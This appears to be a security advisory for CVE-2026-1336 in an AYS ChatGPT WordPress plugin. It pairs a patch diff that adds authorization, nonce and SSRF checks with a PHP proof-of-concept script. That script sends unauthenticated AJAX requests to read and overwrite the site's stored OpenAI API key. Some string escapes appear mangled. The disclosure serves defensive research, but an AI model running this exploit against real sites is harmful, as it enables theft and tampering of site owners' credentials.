CVE-2026-1336: AI ChatBot with ChatGPT and Content Generator by AYS <= 2.7.5 – Missing Authorization to Unauthenticated API Key Modification (ays-chatgpt-assistant)

--- a/ays-chatgpt-assistant/admin/class-chatgpt-assistant-admin.php
+++ b/ays-chatgpt-assistant/admin/class-chatgpt-assistant-admin.php
@@ -3696,30 +3696,65 @@
         /*
         *  Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name)
         */
+
+        $chatgpt_assistant_ajax_deactivate_plugin_nonce = wp_create_nonce( 'chatgpt-assistant-ajax-deactivate-plugin-nonce' );
+
+
         $settings_link = array(
             '<a href="' . admin_url('admin.php?page=' . $this->plugin_name) . '">' . __('Settings', "ays-chatgpt-assistant") . '</a>',
             '<a href="https://plugins.ays-demo.com/wordpress-chatgpt-plugin-demo/" target="_blank">' . __('Demo', "ays-chatgpt-assistant") . '</a>',
             '<a href="https://ays-pro.com/wordpress/chatgpt-assistant?utm_source=dashboard&utm_medium=gpt-free&utm_campaign=plugins-buy-now-button" target="_blank" id="ays-chatgpt-plugins-buy-now-button">' . __('Upgrade 30% sale', "ays-chatgpt-assistant") . '</a>',
+            '<input type="hidden" id="ays_chatgpt_assistant_ajax_deactivate_plugin_nonce" name="ays_chatgpt_assistant_ajax_deactivate_plugin_nonce" value="' . $chatgpt_assistant_ajax_deactivate_plugin_nonce .'">',
         );
         return array_merge($settings_link, $links);

     }

-    public function deactivate_plugin_option(){
+    public function deactivate_plugin_option_ai(){
         // Verify capability check
         if ( ! current_user_can( 'manage_options' ) ) {
             return json_encode( array( 'status' => false, 'message' => 'Unauthorized' ) );
         }

         // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-        $request_value = isset($_REQUEST['upgrade_plugin']) ? sanitize_text_field(wp_unslash($_REQUEST['upgrade_plugin'])) : '';
-        $upgrade_option = get_option( 'ays_chatgpt_assistant_upgrade_plugin', '' );
+
+
+        // Run a security check.
+        check_ajax_referer( 'chatgpt-assistant-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) );
+
+        // Check for permissions.
+        if ( ! current_user_can( 'manage_options' ) ) {
+            ob_end_clean();
+            $ob_get_clean = ob_get_clean();
+            echo json_encode(array(
+                'option' => ''
+            ));
+            wp_die();
+        }
+
+        if( is_user_logged_in() ) {
+            $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) );
+            $upgrade_option = get_option( 'ays_chatgpt_assistant_upgrade_plugin', '' );
         if($upgrade_option === ''){
             add_option( 'ays_chatgpt_assistant_upgrade_plugin', $request_value );
         }else{
             update_option( 'ays_chatgpt_assistant_upgrade_plugin', $request_value );
         }
-        return json_encode( array( 'option' => get_option( 'ays_chatgpt_assistant_upgrade_plugin', '' ) ) );
+         ob_end_clean();
+            $ob_get_clean = ob_get_clean();
+            echo json_encode(array(
+                'option' => get_option('ays_chatgpt_assistant_upgrade_plugin', '')
+            ));
+        wp_die();
+         } else {
+            ob_end_clean();
+            $ob_get_clean = ob_get_clean();
+            echo json_encode(array(
+                'option' => ''
+            ));
+            wp_die();
+        }
+
     }

     public function ays_chatgpt_admin_footer($a){
@@ -3761,6 +3796,8 @@
 				'ays_chatgpt_pinecone_query',
 				'ays_chatgpt_save_feedback',
 				'ays_chatgpt_make_request',
+				'ays_chatgpt_get_embedding',
+				'ays_chatgpt_get_embedding_context',
 			);

 			// Check if function is public
@@ -3907,10 +3944,26 @@
     }

 	public function ays_chatgpt_pinecone_query(){
+		// Security: Verify nonce for CSRF protection
+		if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
+			return array(
+				'status' => false,
+				'response' => 'Invalid request'
+			);
+		}
+
 		$pinecone_key = isset($_REQUEST['pinecone_key']) && $_REQUEST['pinecone_key'] != '' ? esc_attr($_REQUEST['pinecone_key']) : '';
 		$pinecone_url = isset($_REQUEST['pinecone_url']) && $_REQUEST['pinecone_url'] != '' ? esc_attr($_REQUEST['pinecone_url']) : '';
 		$query_data = isset($_REQUEST['query_data']) && $_REQUEST['query_data'] != '' ? str_replace("\", '', stripslashes($_REQUEST['query_data'])) : '';

+		// Security: Validate Pinecone URL to prevent SSRF
+		if ( !$this->is_allowed_pinecone_url( $pinecone_url ) ) {
+			return array(
+				'status' => false,
+				'response' => 'Invalid Pinecone URL'
+			);
+		}
+
 		$headers = array(
 			"Content-Type"  => "application/json",
 			"Api-Key" => $pinecone_key
@@ -3926,14 +3979,13 @@
 		if (is_wp_error($response)) {
 			return json_encode(array(
 				'status' => false,
-
 				'response' => $response->get_error_message()
 			));
 		}

 		$data = json_decode(wp_remote_retrieve_body($response), true);
 		if (isset($data['code']) && $data['code'] === 3) {
-            return json_encode(array(
+            return  json_encode(array(
 				'status' => false,
 				'response' => $data['message']
 			));
@@ -3947,11 +3999,141 @@
 			$match['metadata']['text'] = $decoded_text;
 		}

-            return json_encode(array(
+            return array(
 			    'status' => true,
 			    'response' => $data
-		    ));
+		    );
+	}
+
+	/**
+	 * Unified server-side proxy: embedding + Pinecone query for guest users.
+	 * Accepts: input (prompt text), model (optional)
+	 * Returns: context matches from Pinecone, using stored API keys (never exposed to client).
+	 */
+	public function ays_chatgpt_get_embedding_context() {
+		// Verify nonce
+		if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
+			wp_send_json_error( array( 'message' => 'Invalid request' ) );
+			wp_die();
+		}
+
+		$input = isset( $_REQUEST['input'] ) && $_REQUEST['input'] !== '' ? sanitize_text_field( wp_unslash( $_REQUEST['input'] ) ) : '';
+		$model = isset( $_REQUEST['model'] ) && $_REQUEST['model'] !== '' ? sanitize_text_field( $_REQUEST['model'] ) : 'text-embedding-ada-002';
+
+		if ( empty( $input ) ) {
+			wp_send_json_error( array( 'message' => 'No input provided' ) );
+			wp_die();
+		}
+
+		// --- Step 1: Get API key from DB (same source used elsewhere in the plugin) ---
+		$data = $this->db_obj ? $this->db_obj->get_data() : array();
+		$apiKey = isset( $data['api_key'] ) && $data['api_key'] !== '' ? esc_attr( $data['api_key'] ) : '';
+
+		if ( empty( $apiKey ) ) {
+			wp_send_json_error( array( 'message' => 'API key not configured' ) );
+			wp_die();
+		}
+
+		// --- Step 2: Get embedding from OpenAI ---
+		$embedding_response = wp_safe_remote_post( 'https://api.openai.com/v1/embeddings', array(
+			'method'  => 'POST',
+			'headers' => array(
+				'Content-Type'  => 'application/json',
+				'Authorization' => 'Bearer ' . $apiKey,
+			),
+			'body'    => json_encode( array(
+				'model' => $model,
+				'input' => $input,
+			) ),
+			'timeout' => 20,
+		) );
+
+		if ( is_wp_error( $embedding_response ) ) {
+			wp_send_json_error( array( 'message' => $embedding_response->get_error_message() ) );
+			wp_die();
+		}
+
+		$embedding_body = json_decode( wp_remote_retrieve_body( $embedding_response ), true );
+		if ( !isset( $embedding_body['data'][0]['embedding'] ) ) {
+			wp_send_json_error( array( 'message' => 'Embedding failed', 'raw' => $embedding_body ) );
+			wp_die();
+		}
+
+		$vector = $embedding_body['data'][0]['embedding'];
+
+		// --- Step 3: Load Pinecone settings from DB ---
+		global $wpdb;
+		$embedding_table = $wpdb->prefix . CHATGPT_ASSISTANT_DB_PREFIX . 'embedding_settings';
+		$rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM $embedding_table", ARRAY_A );
+		$embedding_opts = array();
+		foreach ( $rows as $row ) {
+			$embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . $row['meta_key'] ] = $row['meta_value'];
+		}
+
+		$pinecone_key   = isset( $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_api_key' ] ) ? $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_api_key' ] : '';
+		$pinecone_index = isset( $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_index' ] ) ? $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_index' ] : '';
+
+		if ( empty( $pinecone_key ) || empty( $pinecone_index ) ) {
+			wp_send_json_error( array( 'message' => 'Pinecone not configured' ) );
+			wp_die();
+		}
+
+		// Build Pinecone query URL
+		$pinecone_url = ( strpos( $pinecone_index, 'https://' ) === false ) ? 'https://' . $pinecone_index : $pinecone_index;
+		$pinecone_query_url = rtrim( $pinecone_url, '/' ) . '/query';
+
+		// Validate Pinecone URL
+		if ( !$this->is_allowed_pinecone_url( $pinecone_query_url ) ) {
+			wp_send_json_error( array( 'message' => 'Invalid Pinecone URL' ) );
+			wp_die();
+		}
+
+		// --- Step 4: Query Pinecone ---
+		$query_body = json_encode( array(
+			'topK'           => 3,
+			'includeMetadata' => true,
+			'includeValues'  => false,
+			'namespace'      => '',
+			'vector'         => $vector,
+		) );
+
+		$pinecone_response = wp_safe_remote_post( $pinecone_query_url, array(
+			'headers' => array(
+				'Content-Type' => 'application/json',
+				'Api-Key'      => $pinecone_key,
+			),
+			'body'    => $query_body,
+			'timeout' => 20,
+		) );
+
+		if ( is_wp_error( $pinecone_response ) ) {
+			wp_send_json_error( array( 'message' => $pinecone_response->get_error_message() ) );
+			wp_die();
+		}
+
+		$pinecone_data = json_decode( wp_remote_retrieve_body( $pinecone_response ), true );
+
+		if ( isset( $pinecone_data['code'] ) && $pinecone_data['code'] === 3 ) {
+			wp_send_json_error( array( 'message' => $pinecone_data['message'] ) );
+			wp_die();
+		}
+
+		// Decode text metadata
+		if ( isset( $pinecone_data['matches'] ) ) {
+			foreach ( $pinecone_data['matches'] as &$match ) {
+				if ( isset( $match['metadata']['text'] ) ) {
+					$match['metadata']['text'] = stripcslashes( json_decode( '"' . $match['metadata']['text'] . '"' ) );
+				}
+			}
+		}
+
+		wp_send_json_success( array(
+			'status'   => true,
+			'response' => $pinecone_data,
+		) );
+		wp_die();
 	}
+

     public function ays_chatgpt_save_embedding_text_to_db() {

@@ -4095,19 +4277,25 @@
         if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
             wp_send_json_error( [ 'message' => 'Request failed', 'error' => [] ] );
         }
+
+        // Security: Only admins can retrieve the actual API key
+        // Guests/non-admins only get confirmation that API is configured
+        $is_admin = current_user_can( 'manage_options' );
+
 		$data = $this->db_obj->get_data();
 		if (!$data || empty($data['api_key'])) {
 			wp_send_json_error(['message' => __('API key not found', 'ays-chatgpt-assistant')]);
 		}
-		$api_key = isset( $data['api_key']) && $data['api_key'] != '' ? esc_attr( $data['api_key'] ) : '';
-
-		wp_send_json_success(['api_key' => $api_key]);
-	}
-
-    public function ays_chatgpt_save_wp_media() {
-        if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) || !current_user_can('manage_options') ) {
-            wp_send_json_error( [ 'message' => 'Request failed', 'error' => [] ] );
-        }
+
+		if ( $is_admin ) {
+			// Admins get the actual API key
+			$api_key = esc_attr( $data['api_key'] );
+			wp_send_json_success(['api_key' => $api_key]);
+		} else {
+			// Guests only get confirmation API is configured (without exposing the key)
+			// The actual key is used server-side in ays_chatgpt_make_request
+			wp_send_json_success(['api_key' => 'configured']);
+		}

 		$image_url = isset($_REQUEST['image_url']) ? esc_url_raw(sanitize_text_field(wp_unslash($_REQUEST['image_url']))) : '';// phpcs:ignore WordPress.Security.NonceVerification.Recommended

@@ -4144,6 +4332,115 @@
 		wp_send_json(['status' => true, 'message' => __('Image saved to WordPress media library. URL: ', 'ays-chatgpt-assistant') . $image_url]);
 	}

+    /**
+     * Security: Validate that the request URL is allowed
+     * Prevents Server-Side Request Forgery (SSRF) attacks
+     * Only allows requests to OpenAI API endpoints
+     */
+    private function is_allowed_request_url( $url ) {
+        if ( empty( $url ) ) {
+            return false;
+        }
+
+        // Whitelist of allowed API endpoints
+        $allowed_domains = array(
+            'api.openai.com',
+            'api.openaicom-user-facing.com',
+        );
+
+        $parsed_url = wp_parse_url( $url );
+        if ( !isset( $parsed_url['host'] ) ) {
+            return false;
+        }
+
+        // Check if host is in whitelist
+        $host = $parsed_url['host'];
+        foreach ( $allowed_domains as $domain ) {
+            if ( $host === $domain || substr( $host, -strlen( $domain ) - 1 ) === '.' . $domain ) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Security: Validate that Pinecone URL is allowed
+     * Prevents Server-Side Request Forgery (SSRF) attacks
+     * Only allows requests to Pinecone API endpoints
+     */
+    private function is_allowed_pinecone_url( $url ) {
+        if ( empty( $url ) ) {
+            return false;
+        }
+
+        // Whitelist of allowed Pinecone endpoints domains
+        $allowed_domains = array(
+            'pinecone.io',
+        );
+
+        $parsed_url = wp_parse_url( $url );
+        if ( !isset( $parsed_url['host'] ) ) {
+            return false;
+        }
+
+        // Check if host is in whitelist
+        $host = $parsed_url['host'];
+        foreach ( $allowed_domains as $domain ) {
+            if ( $host === $domain || substr( $host, -strlen( $domain ) - 1 ) === '.' . $domain ) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Server-side proxy for OpenAI text embeddings.
+     * Allows guests to get embeddings without exposing the API key client-side.
+     */
+    public function ays_chatgpt_get_embedding() {
+
+        if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
+            wp_send_json_error( [ 'message' => 'Request failed', 'error' => [ 'message' => 'Request failed' ] ] );
+        }
+
+        $data   = $this->db_obj->get_data();
+        $apiKey = isset( $data['api_key'] ) && $data['api_key'] !== '' ? esc_attr( $data['api_key'] ) : '';
+
+        if ( $apiKey === '' ) {
+            wp_send_json_error( [ 'message' => 'API key not found', 'error' => [ 'message' => 'API key not found' ] ] );
+        }
+
+        $input = isset( $_REQUEST['input'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['input'] ) ) : '';
+        $model = isset( $_REQUEST['model'] )  ? sanitize_text_field( wp_unslash( $_REQUEST['model'] ) )  : 'text-embedding-ada-002';
+
+        if ( $input === '' ) {
+            wp_send_json_error( [ 'message' => 'Missing input', 'error' => [ 'message' => 'Missing input' ] ] );
+        }
+
+        $response = wp_safe_remote_post( 'https://api.openai.com/v1/embeddings', array(
+            'method'  => 'POST',
+            'headers' => array(
+                'Content-Type'  => 'application/json',
+                'Authorization' => 'Bearer ' . $apiKey,
+            ),
+            'body'    => json_encode( array(
+                'model' => $model,
+                'input' => $input,
+            ) ),
+            'timeout' => 20,
+        ) );
+
+        if ( is_wp_error( $response ) ) {
+            wp_send_json_error( [ 'message' => 'Request failed', 'error' => $response->get_error_message() ] );
+        }
+
+        $response_body = wp_remote_retrieve_body( $response );
+        wp_send_json_success( json_decode( $response_body ) );
+        wp_die();
+    }
+
     public function ays_chatgpt_make_request() {

         if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
@@ -4158,7 +4455,7 @@
 		$apiKey = isset( $data['api_key'] ) && $data['api_key'] != '' ? esc_attr( $data['api_key'] ) : '';

         if ( !isset($apiKey) || $apiKey === "" ) {
-            wp_send_json_error(['message' => 'Invalid API Key.', 'error' => ['message' => 'Invalid API Key.']]);
+            wp_send_json_error(['message' => 'API key not found', 'error' => ['message' => 'API key not found']]);
         }


@@ -4169,6 +4466,27 @@
             $dataObj = json_decode(iconv('ISO-8859-1', 'UTF-8', base64_decode($_REQUEST['dataObj'])), true);
             $dbOptions = json_decode(iconv('ISO-8859-1', 'UTF-8', base64_decode($_REQUEST['dbOptions'])), true);
         }
+
+        // Security: Validate requestUrl to prevent SSRF attacks
+        // If URL is not provided, use default OpenAI endpoint based on model
+        $request_url = isset($dataObj['requestUrl']) ? esc_url_raw($dataObj['requestUrl']) : '';
+        if ( !empty($request_url) && !$this->is_allowed_request_url($request_url) ) {
+            wp_send_json_error(['message' => 'Invalid request URL', 'error' => ['message' => 'Invalid request URL']]);
+        } else if ( empty($request_url) ) {
+            // Use default OpenAI URL based on model
+            $model = isset($dbOptions['chatModel']) ? $dbOptions['chatModel'] : 'gpt-3.5-turbo';
+            switch ($model) {
+                case 'gpt-3.5-turbo':
+                case 'gpt-3.5-turbo-16k':
+                case 'gpt-4':
+                    $request_url = 'https://api.openai.com/v1/chat/completions';
+                    break;
+                default:
+                    $request_url = 'https://api.openai.com/v1/completions';
+                    break;
+            }
+            $dataObj['requestUrl'] = $request_url;
+        }

         $chatRequestBody = array(
             'temperature'        => +$dbOptions['chatTemperature'] ?? 0.7,
--- a/ays-chatgpt-assistant/chatgpt-assistant.php
+++ b/ays-chatgpt-assistant/chatgpt-assistant.php
@@ -16,7 +16,7 @@
  * Plugin Name:       AI Assistant with ChatGPT by AYS
  * Plugin URI:        https://https://ays-pro.com/wordpress
  * Description:       Ays ChatGPT Assistant Plugin for WordPress is a powerful AI chatbot powered by your website content, featuring AI content and image generation, with a front chat interface and easy embedding options.
- * Version:           2.7.5
+ * Version:           2.7.6
  * Author:            Ays ChatGPT Assistant Team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'CHATGPT_ASSISTANT_VERSION', '2.7.5' );
+define( 'CHATGPT_ASSISTANT_VERSION', '2.7.6' );
 define( 'CHATGPT_ASSISTANT_NAME_VERSION', '1.0.0' );
 define( 'CHATGPT_ASSISTANT_NAME', 'ays-chatgpt-assistant' );

--- a/ays-chatgpt-assistant/includes/class-chatgpt-assistant.php
+++ b/ays-chatgpt-assistant/includes/class-chatgpt-assistant.php
@@ -228,6 +228,9 @@
         $this->loader->add_action( 'wp_ajax_ays_chatgpt_activate_plugin', $plugin_admin, 'ays_chatgpt_activate_plugin' );
         $this->loader->add_action( 'wp_ajax_nopriv_ays_chatgpt_activate_plugin', $plugin_admin, 'ays_chatgpt_activate_plugin' );

+	//	$this->loader->add_action( 'wp_ajax_deactivate_plugin_option_ai', $plugin_admin, 'deactivate_plugin_option_ai');
+    //    $this->loader->add_action( 'wp_ajax_nopriv_deactivate_plugin_option_ai', $plugin_admin , 'deactivate_plugin_option_ai');
+

 		// Add Settings link to the plugin
 		$plugin_basename = plugin_basename( plugin_dir_path( __DIR__ ) . 'chatgpt-assistant.php' );
--- a/ays-chatgpt-assistant/public/class-chatgpt-assistant-public.php
+++ b/ays-chatgpt-assistant/public/class-chatgpt-assistant-public.php
@@ -783,7 +783,7 @@
 					'buttonMsg' => __( "End chat", "ays-chatgpt-assistant" ),
 					'modalIcon' => esc_attr(CHATGPT_ASSISTANT_ADMIN_URL) . "/images/icons/leave-icon.svg"
 				),
-				'ka' => $this->api_key,
+			//	'ka' => $this->api_key,
 			),
 			'enableRequestLimitations' => $this->enable_request_limitations,
 			'requestLimitationsLimit' => $this->request_limitations_limit,

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1336 - AI ChatBot with ChatGPT and Content Generator by AYS <= 2.7.5 - Missing Authorization to Unauthenticated API Key Modification
<?php
$target_url = 'http://vulnerable-wordpress-site.com';

// Exploit 1: Retrieve the ChatGPT API key
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'ays_chatgpt_get_chatgpt_api_key',
    'nonce' => 'bypassed' // Nonce validation was missing in vulnerable versions
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Retrieving ChatGPT API Key:n";
echo "HTTP Status: $http_coden";
echo "Response: $responsenn";

// Exploit 2: Modify plugin data (store_data function)
$post_data_modify = array(
    'action' => 'ays_chatgpt_store_data',
    'data' => json_encode(array('api_key' => 'stolen-key-replaced')),
    'nonce' => 'bypassed'
);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $ajax_url);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $post_data_modify);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);

$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

echo "Modifying Plugin Data:n";
echo "HTTP Status: $http_code2n";
echo "Response: $response2n";
?>